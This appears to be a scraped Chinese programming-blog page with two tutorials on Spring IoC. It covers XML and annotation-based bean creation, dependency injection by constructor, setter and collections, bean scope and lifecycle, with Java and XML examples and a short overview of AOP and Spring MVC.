精华内容
下载资源
问答
  • } 结果: xml注入集合属性 1.注入数组类型 2.注入list集合类型 3.注入map类型属性 创建类,定义不同类型的属性 现在的目录: Testdemo1.Java package testdemo; import collection.Stu; import org.junit.Test; ...

    IOC

    介绍:
    在Spring的应用中,Spring IoC容器可以创建、装配和配置应用组件对象,这里的组件对象称为Bean。

    Bean的实例化

    在面向对象编程中,想使用某个对象时,需要事先实例化该对象。同样,在Spring框架中,想使用Spring容器中的Bean,也需要实例化Bean。Spring框架实例化Bean有3种方式:构造方法实例化、静态工厂实例化和实例工厂实例化,其中,最常用的实例方法是构造方法实例化。
    创建配置类
    在应用的src目录下,创建config包,并在该包中创建配置类JavaConfig。在该配置类中使用@Bean定义3个Bean,具体代码如下:
    在这里插入图片描述

    IOC操作bean管理(普通bean)

    spring有两种类型bean,一种普通bean,另外一种工厂bean
    普通bean:在配置文件中定义的什么类型就返回什么类型,工厂bean:返回的类型可以不是定义的类型
    目前创建项目后文件目录:
    在这里插入图片描述
    导入的jar包五个:
    在这里插入图片描述
    这次下载的是5.2.6版本,用到了四个spring的jar包,是ioc需要的至少四个,直接jar包复制后新建lib文件夹,再粘贴到目录下,再手动添加jar包:
    在这里插入图片描述
    在这里插入图片描述

    spring的官网地址:
    https://repo.spring.io/release/org/springframework/spring/

    common-logging-1.1.jar的下载地址:
    https://mvnrepository.com/artifact/commons-logging/commons-logging/1.1

    各个类中的代码:
    Emp.java:

    package com.company.bean;
    
    public class Emp {
        private String ename;
        private String gender;
    //员工属于某个部门
        private Dept dept;
    
        public void setDept(Dept dept) {
            this.dept = dept;
        }
    
        public void setEname(String ename) {
            this.ename = ename;
        }
    
        public void setGender(String gender) {
            this.gender = gender;
        }
    //一个用于测试的方法
        public void testt()
        {
            System.out.println(ename+" 性别"+gender+" "+dept);
        }
    
        public Dept getDept() {
            return dept;
        }
    }
    
    

    Dept.java:

    package com.company.bean;
    
    public class Dept {
    
        private String dname;
    
        public void setDname(String dname) {
            this.dname = dname;
        }
    
        @Override
        public String toString() {
            return
                    "部门是:" + dname + '\'';
        }
    
        public String getDname()
        {
            return dname;
        }
    }
    
    

    Userservice.java:

    package com.company.service;
    
    
    import com.company.dao.UserDao;
    import com.company.dao.UserDaoimp;
    
    public class Userservice {
        //创建userdao类属性
        private UserDao userdao;
    
    
    
        public void setUserdao(UserDao userdao) {
            this.userdao = userdao;
        }
    
        public void add()
        {
            System.out.println("servicee add..");
            userdao.update();
        }
    
        public void setUserDao(UserDaoimp userDao) {
            this.userdao=userDao;
        }
    }
    
    

    Testdemo.java:

    package com.company.spring5.testdemo;
    
    import com.company.bean.Emp;
    import com.company.service.Userservice;
    import com.company.spring5.User;
    import org.junit.Test;
    import org.springframework.context.ApplicationContext;
    import org.springframework.context.support.ClassPathXmlApplicationContext;
    
    public class Testdemo {
        @Test
        public void testAdd()
        {
    
            ApplicationContext context = new ClassPathXmlApplicationContext("bean2.xml");
            Userservice userservice = context.getBean("userservice", Userservice.class);
            userservice.add();
        }
    
        @Test
        public void testbean2()
        {
            ApplicationContext context = new ClassPathXmlApplicationContext("bean3.xml");
            Emp emp=context.getBean("emp",Emp.class);
            emp.testt();
        }
        @Test
        public void testbean3()
        {
            ApplicationContext context=new ClassPathXmlApplicationContext("bean4.xml");
            Emp emp=context.getBean("emp",Emp.class);
            emp.testt();
        }
    
    }
    
    

    bean2.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:util="http://www.springframework.org/schema/util"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/util https://www.springframework.org/schema/util/spring-util.xsd">
    <bean id = "userservice" class="com.company.service.Userservice">
    <!--    注入userdao对象,name属性:类里面属性名称-->
    <!--    ref属性:创建userdao对象bean标签的id值-->
        <property name="UserDao" ref="userdaoimp"></property>
    </bean>
    
        <bean id = "userdaoimp" class="com.company.dao.UserDaoimp"></bean>
    
    </beans>
    

    UserDaoimp.java:

    package com.company.dao;
    
    public class UserDaoimp implements UserDao{
    
    
        @Override
        public void update() {
            System.out.println("overider update");
        }
    }
    
    

    内部bean(嵌套写法)和级联赋值

    第一种写法。内部bean
    bean3.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <!--内部bean-->
        <bean id="emp" class="com.company.bean.Emp">
            <property name="ename" value="lucy"></property>
            <property name="dept">
                <bean id="dept" class="com.company.bean.Dept">
            <property name="dname" value="财务部"></property>
    <!--                嵌套写法,在一个bean中嵌套另一个bean-->
        </bean>
            </property>
            <property name="gender" value=""></property>
        </bean>
    </beans>
    

    注入属性–级联赋值

       <bean id="emp" class="com.company.bean.Emp">
            <property name="ename" value="lucy"></property>
            <property name="dept" ref="dept"></property>
            <property name="gender" value=""></property>
    <!--        级联赋值:通过外部bean的方式引入,给属性赋值-->
        </bean>
        <bean id="dept" class="com.company.bean.Dept">
            <property name="dname" value="人事部"></property>
        </bean>
    

    结果:
    在这里插入图片描述

    级联赋值的第二种写法。直接在属性中注入:
    bean4.xml:

     <bean id="emp" class="com.company.bean.Emp">
            <property name="ename" value="lucy"></property>
            <property name="dept" ref="dept"></property>
        <property name="dept.dname" value="人事部门之deptname"></property>    <!--这种方法注入属性需要在Ept类中实现对Dept使用getter方法才可以使用-->
            <property name="gender" value=""></property>
    </bean>
        <bean id="dept" class="com.company.bean.Dept">
            <property name="dname" value="Caiwu"></property>
        </bean>
    

    且在Emp中加上:

    public Dept getDept() {
            return dept;
        }
    

    结果:
    在这里插入图片描述

    xml注入集合属性

    1.注入数组类型

    2.注入list集合类型

    3.注入map类型属性

    创建类,定义不同类型的属性

    现在的目录:
    在这里插入图片描述
    Testdemo1.Java

    package testdemo;
    
    import collection.Stu;
    import org.junit.Test;
    import org.springframework.context.ApplicationContext;
    import org.springframework.context.support.ClassPathXmlApplicationContext;
    
    public class Testdemo1 {
        @Test
        public void testvalue()
        {
            ApplicationContext context = new ClassPathXmlApplicationContext("bean1.xml");
           Stu stu= context.getBean("stu", Stu.class);
            stu.ontest();
        }
    }
    
    

    Stu.java:

    package collection;
    
    import java.util.Arrays;
    import java.util.List;
    import java.util.Map;
    import java.util.Set;
    
    public class Stu {
        private String[] lesson;//属性 课程(有多门课程)
        public void setLesson(String[] lesson)
        {
            this.lesson=lesson;
        }
        private List<String> newlist;//list类型的属性
        private Map<String,String> newmap;//Map类型的属性
        private Set<String>newset;
        public void setNewlist(List<String> newlist) {
            this.newlist = newlist;//setter方法
        }
    
        public void setNewset(Set<String> newset) {
            this.newset = newset;
        }
    
        public void setNewmap(Map<String, String> newmap) {
            this.newmap = newmap;
        }
    
        public void ontest()
        {
            System.out.println(Arrays.toString(lesson));
            System.out.println(newlist);
            System.out.println(newmap);
            System.out.println(newset);
        }
    }
    
    

    bean1.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="stu" class="collection.Stu">
        <property name="lesson" >
            <array>
                <value>语文</value>
                <value>数学</value>
                <value>english</value>
            </array>
    
        </property>
        <property name="newlist">
            <list>
                <value>list1</value>
                <value>list2</value>
                <value>list3</value>
            </list>
        </property>
        <property name="newmap">
            <map>
                <entry key="张三" value="第一名"></entry>
                <entry key="李四" value="第二名"></entry>
                <entry key="王五" value="第三名"></entry>
            </map>
        </property>
        <property name="newset">
            <set>
                <value>c语言</value>
                <value>Java</value>
                <value>html</value>
                <value>css</value>
            </set>
        </property>
    </bean>
    </beans>
    

    结果:
    在这里插入图片描述

    IOC操作工厂bean

    第一步:创建类,让这个类作为工厂bean,实现接口factorybean
    第二步:实现接口里面的方法,在实现的方法中定义返回的bean类型
    先创建一个类:

    package factorybean;
    
    public class Mybean {
        @Override
        public String toString() {
            return "Mybean{}";
        }
    }
    
    

    bean2.xml进行配置:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:util="http://www.springframework.org/schema/util"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="mybook" class="factorybean.Mybean">
    
    </bean>
    </beans>
    

    测试类:

    @Test
        public void test2(){
            ApplicationContext context = new ClassPathXmlApplicationContext("bean2.xml");
            Mybean mybook = context.getBean("mybook", Mybean.class);
            System.out.println(mybook);
        }
    

    结果:
    在这里插入图片描述

    工厂bean设置返回的bean:

    
    public class Mybean implements FactoryBean<Dept> {
    
    
        @Override//定义返回的bean
        public Dept getObject() throws Exception {
            Dept dept = new Dept();
            dept.setDname("财务");
            return dept;
        }
    

    测试类:

    @Test
        public void test2(){
            ApplicationContext context = new ClassPathXmlApplicationContext("bean2.xml");
            Dept dept = context.getBean("mybook", Dept.class);
            System.out.println(dept);
        }
    

    注意这句话 Dept dept = context.getBean(“mybook”, Dept.class);中的"mybook"跟

    <bean id="mybook" class="factorybean.Mybean">
    </bean>
    

    中的id是对应的关系,否则会报错。
    Dept类:

    package com.company.bean;
    
    public class Dept {
    
        private String dname;
    
        public void setDname(String dname) {
            this.dname = dname;
        }
    
        @Override
        public String toString() {
            return
                    "部门是:" + dname + '\'';
        }
    
        public String getDname()
        {
            return dname;
        }
    }
    

    bean作用域

    在spring里面,默认情况下是单实例对象
    可以测试:

      @Test
        public void testvalue()
        {
    
            ApplicationContext context = new ClassPathXmlApplicationContext("bean1.xml");
           Stu stu= context.getBean("stu", Stu.class);
           Stu stu2 = context.getBean("stu",Stu.class);
            stu.ontest();
            stu2.ontest();
    
        }
    

    运行后:
    在这里插入图片描述
    可以发现输出的内容是相同的,如果没有tostring方法,输出的地址是相同的,也可以证明是单实例
    singleton单实例 prototype多实例

    <bean id="stu" class="collection.Stu" scope="prototype">
    

    设置为多实例对象

    bean生命周期

    (1)通过构造器创建bean实例(无参数构造),
    (2)为bean的属性设置值和对其他bean的引用(调用set方法)
    (3)调用bean的初始化方法(需要进行配置)
    (4)bean可以使用了(对象获取到了0
    (5)当容器关闭的时候,调用bean的销毁方法
    代码: 在bean包下创建类:
    在这里插入图片描述

    package com.company.bean;
    
    import org.w3c.dom.ls.LSOutput;
    
    public class Orders {
    
        public Orders() {
            System.out.println("第一步创建对象");
        }
    
        private String oname;
            public void setOname(String oname) {
                this.oname = oname;
                System.out.println("第二步调用set方法设置属性值");
                ;
            }
              public void initmethod(){
                System.out.println("执行初始化");
              }
        public void destroymethod(){
            System.out.println("执行销毁");
        }
    }
    
    

    bean3.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="orders" class="com.company.bean.Orders" init-method="initmethod" destroy-method="destroymethod">
        <property name="oname" value="手机" />
    </bean>
    </beans>
    

    测试类:

     @Test
        public void test3(){
            ApplicationContext context = new ClassPathXmlApplicationContext("bean3.xml");
            Orders orders = context.getBean("orders", Orders.class);
         
            System.out.println("第四步 获取创建bean实例对象");
            System.out.println(orders);
            ((ClassPathXmlApplicationContext)context).close();
        }
    

    在这里插入图片描述

    xml自动装配

    什么是自动装配:根据指定装配规则(属性名称或者属性类型),spring自动将匹配的属性值进行注入

    <!--实现自动装配
    bean标签 autowire属性
    配置自动装配
     autorire属性常用两个值:
     byNane根据属性名称注入,注入值bean的id值和类属性名称一样
    bype根据属性类型注入-->
     <bean id= “emp" class= "com.company.bean. Emp" autowired="byType">.
    <!--property name=" dept" ref ="dept"></property>-->
     </bean>
    <bean id ="dept"class="com.company.bean.Dept"</bean>
     
    

    bean管理操作有两种方式:基于xml配置文件实现和基于注解方式实现
    引入外部属性文件:
    在这里插入图片描述

    在这里插入图片描述

    基于注解的方式实现对象创建

    第一步 引入aop依赖
    第二步 开启组件扫描
    如果扫描多个包,可以多个包用逗号隔开,也可以扫描上层目录

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:context="http://www.springframework.org/schema/context"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">
    <context:component-scan base-package="com"></context:component-scan>
    </beans>
    

    在这里插入图片描述
    四个注解:
    1.@Component @Component 是所有受Spring 管理组件的通用形式,@Component注解可以放在类的头上,@Component不推荐使用。
    2.@Controller @Controller对应表现层的Bean,.
    3.@ Service @Service对应的是业务层Bean
    4.@ Repository @Repository对应数据访问层Bean ,
    这四个注解功能是一样的都能实现创建bean实例,只是在写代码时为了方便项目管理出于开发习惯才这样区分

    基于注解方式实现属性注入

    @Autowired:根据属性类型进行自动装配
    @Qualifier:根据属性名称进行注入
    @Resource: 可以根据类型注入也可以根据名称注入
    @Value: 注入普通类型属性

    @service
     public class UserService{
    //定义dao类型属性
    //不需要添加set方法
    //添加注入属性注解
     @Autowired
     private UserDao userDao;
     publie void add(){
     System.out.printIn("service add.."
    );
     userDao. add();
    }
    

    用Autowierd注入属性实例:

    先导入aop的jar包
    xml文件:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:p="http://www.springframework.org/schema/p"
           xmlns:context="http://www.springframework.org/schema/context"
           xmlns:aop="http://www.springframework.org/schema/aop"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd
            http://www.springframework.org/schema/context
            http://www.springframework.org/schema/context/spring-context.xsd
    ">
        <context:component-scan base-package="com.company"></context:component-scan>
    </beans>
    

    dao层:

    package com.company.dao;
    
    public interface UserDao {
        //public void add;
        public void update();
    }
    
    
    package com.company.dao;
    import org.springframework.stereotype.Repository;
    @Repository
    public class UserDaoimp implements UserDao{
        @Override
        public void update() {
            System.out.println("overider update");
        }
    }
    
    

    service层:

    package com.company.service;
    import com.company.dao.UserDao;
    import com.company.dao.UserDaoimp;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.stereotype.Repository;
    
    import javax.annotation.Resource;
    @Repository
    public class Userservice {
        //创建userdao类属性
        @Autowired
        private UserDao userdao;
        public void add(){
            System.out.println("service add");
            userdao.update();
        }
    
    

    测试:

      @Test
        public void Testservice(){
            ApplicationContext context = new ClassPathXmlApplicationContext("bean4.xml");
            Userservice userservice = context.getBean("userservice",Userservice.class);
            System.out.println(userservice);
            userservice.add();
        }
    

    结果:
    在这里插入图片描述
    value注入实例:

      @Value(value="你好")
        private String name;
      public void add(){
            System.out.println("service add"+name);
            userdao.update();
    

    再次运行测试类结果:
    在这里插入图片描述

    AOP

    Spring MVC是一款优秀的基于MVC思想的应用框架,它是Spring提供的一个实现了Web MVC设计模式的轻量级Web框架。Spring MVC框架主要由DispatcherServlet、处理器映射、控制器、视图解析器、视图组成,总结出Spring MVC的工作流程如下:
    (1)客户端请求提交到DispatcherServlet。
    (2)由DispatcherServlet控制器寻找一个或多个HandlerMapping,找到处理请求的Controller。
    (3)DispatcherServlet将请求提交到Controller。
    (4)Controller调用业务逻辑处理后,返回ModelAndView。 (5)DispatcherServlet寻找一个或多个ViewResoler视图解析器,找到ModelAndView指定的视图。
    (6)视图负责将结果显示到客户端。
    patcherServlet将请求分发给Controller之前,需要借助于Spring MVC提供的HandlerMapping定位到具体的Controller。 HandlerMapping接口负责完成客户请求到Controller映射。 Controller接口将处理用户请求,这和Java Servlet扮演的角色是一致的。一旦Controller处理完用户请求,则返回ModelAndView对象给DispatcherServlet前端控制器,ModelAndView中包含了模型(Model)和视图(View)。从宏观角度考虑,DispatcherServlet是整个Web应用的控制器;从微观角度考虑,Controller是单个Http请求处理过程中的控制器,而ModelAndView是Http请求过程中返回的模型(Model)和视图(View)。 ViewResolver接口(视图解析器)在Web应用中负责查找View对象,从而将相应结果渲染给客户。
    基于注解的控制器
    在使用Spring MVC进行Web应用开发时,**Controller是Web应用的核心。Controller实现类包含了对用户请求的处理逻辑,是用户请求和业务逻辑之间的“桥梁”,**是Spring MVC框架的核心部分,负责具体的业务逻辑处理。
    AOP(概念)
    1、什么是AOP
    (1)面向切面编程(方面),利用AOP可以对业务逻辑的各个部分进行隔离,从而使得
    业务逻辑各部分之间的耦合度降低,提高程序的可重用性,同时提高了开发的效率
    (2)通俗描述:不通过修改源代码方式,在主千功能里面添加新功能
    (3)使用登录例子说明AOP
     Controller注解类型
      在Spring MVC中,使用org.springframework.stereotype.Controller注解类型声明某类的实例是一个控制器
    在这里插入图片描述
    AOP底层使用动态代理
    第一种有接口,使用JDK动态代理
    1.使用proxy类里面的方法创建代理对象
    第二种没有接口,使用CGLIB动态代理

    展开全文
  • 1.4 Spring IOC 的依赖注入二、Spring IOC 的依赖注入2.1 使用构造函数完成依赖注入2.1.1 标签的使用讲解2.1.2 构造函数依赖注入的优缺点2.1.3 使用构造函数完成依赖注入的实例2.2 使用 setter ...

    @[toc](Spring IOC 容器的基本使用)

    一、为什么要使用 Spring?

    1.1 传统的 MVC 架构的程序

    1.2 程序耦合性过高?

    1.3 如何解耦?

    1.4 Spring IOC 的依赖注入

    二、Spring IOC 的依赖注入

    2.1 使用构造函数完成依赖注入

    2.1.1 标签的使用讲解

    2.1.2 构造函数依赖注入的优缺点

    2.1.3 使用构造函数完成依赖注入的实例

    2.2 使用 setter 完成注入

    2.2.1 使用 setter 完成依赖注入的功能

    2.2.2 基于 setter 完成依赖注入的分析

    2.3 复杂数据类型注入

    2.3.1 集合数据类型注入使用场景

    2.3.2 集合类型的数据注入

    三、使用注解完成 Spring 的 IOC 注入

    3.1 用于创建对象的注解

    3.1.1 普通方法创建对象

    3.1.2 Componet 注解(还有和它功能一样的三层注解)

    3.2 用于注入数据的注解

    3.2.1 数据方式剖析

    3.2.2 注入方式一(Autowired + Qualifier)

    3.2.3 基于 Resource 的注解

    四、Spring IOC 注入总结

    本文的代码过多,但是每个点我会尽可能的写的很详细

    一、为什么要使用 Spring?

    1.1 传统的 MVC 架构的程序

    我们平时编写一个小项目的时候,一般会采用 MVC 三层架构来编写一个项目

    M —— modal 模型层(实体类)

    V —— views 视图层 (界面)

    C —— controller 控制层 (用来完执行一些操作)

    这三层架构各自分工,独自完成相对应的功能,但是这样的程序写出来会导致程序之间耦合性过高

    1.2 程序耦合性过高?

    耦合性过高实际上说的是程序之间的依赖性过高,解耦说的就是降低程序之间的依赖关系

    我们使用 Java 通常都是写好一个类,构造方法,setter 和 getter 等等,我们在其他的类中使用该类就得 创建一个 该类的对象,然后通过对象调用该类的各种方法。这样整个程序之间就会产生多个类,对应的也会产生多个对象互相进行调用,因此我们整体的程序就会体现出耦合性过高的特点。

    1.3 如何解耦?

    我们在 Java SE 中学习过 JDBC,也学习过 properties 对象, 我们可以把 jdbc 的一些配置写进文件中。

    我们传统一般都是创建对象,我们可以换一种方式,通过 Java 的反射机制获取类的信息,并且创建对象

    读取 xml 文件

    1.4 Spring IOC 的依赖注入

    Spring 框架正式为了解决这样的情况出现了,它提供了 读取 xml配置,以及注解 两种方式实现 bean 的自动注入,而被注入的容器叫做 IOC 容器

    依赖注入:

    Dependency Injection

    IOC 的作用:

    降低程序键的耦合(依赖关系)

    依赖关系的管理:

    以后都交给 spring 来维护

    在当前类需要用到其他类的对象,由Spring来为我们提供,我们只需要在配置文件中说明

    依赖关系的维护:

    就称为依赖注入

    依赖注入:

    能注入的数据,有三类

    基本类型和 string

    其他 bean 类型(在配置文件中或者注解配置过的 bean—)

    复杂类型、集合类型

    注入的方式:有三种

    第一种:使用构造函数提供

    第二种:使用 set方法提供

    第三种:使用注解提供

    二、Spring IOC 的依赖注入

    2.1 使用构造函数完成依赖注入

    2.1.1 标签的使用讲解

    使用的标签:constructor-arg

    标签出现的位置:bean标签的内部

    标签中的属性

    1. type:用于指定要注入的数据的数据类型,该数据类型可以是构造函数中某个或某些参数的类型

    2. index: 用于指定要注入的数据给构造函数中指定索引位置的参数赋值,索引的位置也是从 0 开始

    3. name:用于指定构造函数中指定名称的参数赋值

    以上三个标签用于指定给构造函数中哪个参数赋值

    5. value: 用于给基本类型和 String类型的数据

    6. ref:用于指定其它的 bean 类型数据,它指的就是 spring IOC 核心容器中出现过的 bean 对象

    2.1.2 构造函数依赖注入的优缺点

    优势:

    在获取 bean 对象时,注入数据是必须的操作,否则对象无法创建成功

    弊端:

    改变了bean 对象的实例化方式,使我们在创建对象时,如果用不到,也必须创建

    2.1.3 使用构造函数完成依赖注入的实例

    注意:后面的修改全部都是基于此类的修改在这里插入代码片

    编写 bean.xml 配置文件

    编写一个 AccountService 接口,后面的三种方法都要实现该接口

    编写 AccountServiceImpl 实现该接口,并且记住该类的名称和位置

    编写一个 Client 类,用来测试该接口中的方法

    bean.xml 配置

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xmlns:context="http://www.springframework.org/schema/context"

    xsi:schemaLocation="http://www.springframework.org/schema/beans

    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

    http://www.springframework.org/schema/context

    http://www.springframework.org/schema/context/spring-context-3.0.xsd">

    IAccountService 接口编写

    package com.itheima.service;

    public interface IAccountService {

    void saveAccount();

    }

    IAccountServceImpl 接口实现类的编写

    package com.itheima.service.impl;

    import com.itheima.service.IAccountService;

    import java.util.Date;

    /**

    * 账户业务层的实现类

    * 构造函数的注入

    * */

    public class IAccountServceImpl implements IAccountService {

    // 经常变化的数据,并不适用于注入的方式

    private String name;

    private Integer age;

    private Date birthday;

    // 创建有参的构造方法,这个方法必须存在, 在xml中,数据就是通过有参的构造方法擦混入的

    public IAccountServceImpl(String name, Integer age, Date birthday) {

    this.name = name;

    this.age = age;

    this.birthday = birthday;

    }

    public IAccountServceImpl() {

    System.out.println("对象创建了");

    }

    public void saveAccount() {

    System.out.println("service 中的 saveAccount 方法执行了"+this.name + " "+ this.age + " " + this.birthday);

    }

    @Override

    public String toString() {

    return "IAccountServceImpl{" +

    "name='" + name + '\'' +

    ", age=" + age +

    ", birthday=" + birthday +

    '}';

    }

    }

    Client 类的编写

    package com.itheima.client;

    import com.itheima.service.IAccountService;

    import org.springframework.context.ApplicationContext;

    import org.springframework.context.support.ClassPathXmlApplicationContext;

    /**

    * 模拟一个表现层,用于调用业务层

    * */

    public class Client {

    public static void main(String[] args) {

    // 使用 mvc 三层架构,编写 (耦合性过高)

    // IAccountService as = new IAccountServceImpl();

    // =============== 划重点 ===============

    // 1. 获取核心容器对象

    ApplicationContext ac = new ClassPathXmlApplicationContext("bean.xml");

    // ApplicationContext ac = new FileSystemXmlApplicationContext("xxx"); // 这里填写配置文件,在你本机上的物理地址,很少用户

    // 2. 根据 id 获取 Bean 对象 (方式一)

    IAccountService as = (IAccountService) ac.getBean("accountService");

    System.out.println(as);

    as.saveAccount();

    //2. 根据 id 获取 Bean 对象 (方式二)

    // IAccountDao adao = ac.getBean("accountDao", IAccountDao.class);

    // as.saveAccount();

    // System.out.println(adao);

    }

    }

    运行结果:

    我们没有使用 传统的方式,接用 Spring 框架完成了 bean 的实例化

    AAffA0nNPuCLAAAAAElFTkSuQmCC

    2.2 使用 setter 完成注入

    2.2.1 使用 setter 完成依赖注入的功能

    涉及的标签:property

    出现的位置:bean 标签的内部

    标签的属性:

    name:用于指定注入时所用的 set 方法名称

    == 以上三个用于指定给构造函数中哪个参数赋值 ==

    value: 用于给基本类型和 String类型的数据

    ref:用于指定其它的 bean 类型数据,它指的就是 spring IOC 核心容器中出现过的 bean 对象

    2.2.2 基于 setter 完成依赖注入的分析

    优势:

    创建对象时没有明确的限制,可以直接使用默认构造函数

    弊端:

    如果某个成员必须有值,则获取对象可能 set 方法没有执行

    有了前面的内容做铺垫,接下来做 setter 注入就会轻松很多,我们需要做如下步骤

    在 bean.xml 添加依赖

    编写 IAccountServiceImpl2

    package com.itheima.service.impl;

    import com.itheima.service.IAccountService;

    import java.util.Date;

    /**

    * setter 注入

    * */

    public class IAccountServiceImpl2 implements IAccountService {

    private String name;

    private Integer age;

    private Date birthday;

    public void setName(String name) {

    this.name = name;

    }

    public void setAge(Integer age) {

    this.age = age;

    }

    public void setBirthday(Date birthday) {

    this.birthday = birthday;

    }

    @Override

    public String toString() {

    return "IAccountServiceImpl2{" +

    "name='" + name + '\'' +

    ", age=" + age +

    ", birthday=" + birthday +

    '}';

    }

    public void saveAccount() {

    System.out.println("service 中的 saveAccount 方法执行了");

    }

    }

    Client 内容修改

    package com.itheima.client;

    import com.itheima.service.IAccountService;

    import org.springframework.context.ApplicationContext;

    import org.springframework.context.support.ClassPathXmlApplicationContext;

    /**

    * 模拟一个表现层,用于调用业务层

    * */

    public class Client {

    public static void main(String[] args) {

    // 1. 获取核心容器对象

    ApplicationContext ac = new ClassPathXmlApplicationContext("bean.xml");

    // 2. 根据 id 获取 Bean 对象 (两种方式)

    IAccountService as = (IAccountService) ac.getBean("accountService2");

    System.out.println(as);

    as.saveAccount();

    }

    }

    效果图(数据成功通过 setter 注入)

    AAffA0nNPuCLAAAAAElFTkSuQmCC

    2.3 复杂数据类型注入

    2.3.1 集合数据类型注入使用场景

    复杂类型的注入,集合类型的注入

    常用 list 和 map

    用于给 List 结构集合注入的标签

    list array set

    用于给 Map 结构集合注入的标签

    map props

    结构相同,标签可以互换

    2.3.2 集合类型的数据注入

    bean.xml 的配置

    AAA

    BBB

    CCC

    AAA

    BBB

    CCC

    AAA

    BBB

    CCC

    BBB

    CCC

    DDD

    IAccountServiceImpl3 编写

    package com.itheima.service.impl;

    import com.itheima.service.IAccountService;

    import java.util.*;

    public class IAccountServiceImpl3 implements IAccountService {

    private String[] myStrs;

    private List myList;

    private Set mySet;

    private Map myMap;

    private Properties myPros;

    public void setMyStrs(String[] myStrs) {

    this.myStrs = myStrs;

    }

    public void setMyList(List myList) {

    this.myList = myList;

    }

    public void setMySet(Set mySet) {

    this.mySet = mySet;

    }

    public void setMyMap(Map myMap) {

    this.myMap = myMap;

    }

    public void setMyPros(Properties myPros) {

    this.myPros = myPros;

    }

    public void saveAccount() {

    System.out.println(Arrays.toString(myStrs));

    System.out.println(myList);

    System.out.println(mySet);

    System.out.println(myMap);

    System.out.println(myPros);

    }

    @Override

    public String toString() {

    return "IAccountServiceImpl3{" +

    "myStrs=" + Arrays.toString(myStrs) +

    ", myList=" + myList +

    ", mySet=" + mySet +

    ", myMap=" + myMap +

    ", myPros=" + myPros +

    '}';

    }

    }

    Client 编写

    package com.itheima.client;

    import com.itheima.service.IAccountService;

    import org.springframework.context.ApplicationContext;

    import org.springframework.context.support.ClassPathXmlApplicationContext;

    public class Client {

    public static void main(String[] args) {

    // 1. 获取核心容器对象

    ApplicationContext ac = new ClassPathXmlApplicationContext("bean.xml");

    // 2. 根据 id 获取 Bean 对象 (两种方式)

    IAccountService as = (IAccountService) ac.getBean("accountService3");

    System.out.println(as);

    as.saveAccount();

    }

    }

    效果图

    AAffA0nNPuCLAAAAAElFTkSuQmCC

    三、使用注解完成 Spring 的 IOC 注入

    bean.xml 的配置

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xmlns:context="http://www.springframework.org/schema/context"

    xsi:schemaLocation="http://www.springframework.org/schema/beans

    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

    http://www.springframework.org/schema/context

    http://www.springframework.org/schema/context/spring-context-3.0.xsd">

    编写 IAccountService 接口

    package com.itheima.service;

    public interface IAccountService {

    void saveAccount();

    }

    编写 IAccountDao 接口

    package com.itheima.dao;

    /**

    * 账户持久层接口

    * */

    public interface IAccountDao {

    /**

    * 模拟保存账户

    * */

    void saveAccount();

    }

    3.1 用于创建对象的注解

    我们在这里实现 IAccountService 接口 创建 IAccountServiceImpl类

    3.1.1 普通方法创建对象

    package com.itheima.service.impl;

    /* 曾经的 xml 配置,我们要在这里协商这么一大段的 xml 才可以完成注入

    *

    * class="com.itheima.service.impl.IAccountServceImpl

    *

    * "/>

    */

    import com.itheima.service.IAccountService;

    import com.itheima.dao.IAccountDao;

    public class IAccountServiceImpl implements IAccountService {

    //1、 采用 new 创建对象,在外面还是需要通过类来创建对象解决

    private IAccountDao accountDao = new IAccountDaoImpl();

    public IAccountServiceImpl() {

    System.out.println("对象创建了");

    }

    public void saveAccount() {

    int i =1;

    accountDao.saveAccount();

    System.out.println(i);

    i++;

    }

    @Override

    public String toString() {

    return "IAccountServiceImpl{" +

    "accountDao=" + accountDao +

    '}';

    }

    }

    3.1.2 Componet 注解(还有和它功能一样的三层注解)

    和它功能相同的还有

    Controller: 一般用在表现层

    Service: 一般用在业务层

    Respository: 一般用在持久层

    三层注解的解读:

    * 用于创建对象的注解

    * 他们的作用就和在 XML 配置文件中编写一个 标签实现的功能是一样的

    * @Componet

    * 作用:用于把当前类对象存入spring 容器中

    * 属性:

    * value 用于指定 bean 的 id,当我们不写时,它的默认是当前类名,(AccountService => accountService)

    * 我的是两个首字母都是大写,因此不用改 IAccountServceImpl

    * Controller: 一般用在表现层

    * Service: 一般用在业务层

    * Respository: 一般用在持久层

    * 以上三个注解的作用和属性与 Component 是一模一样的,

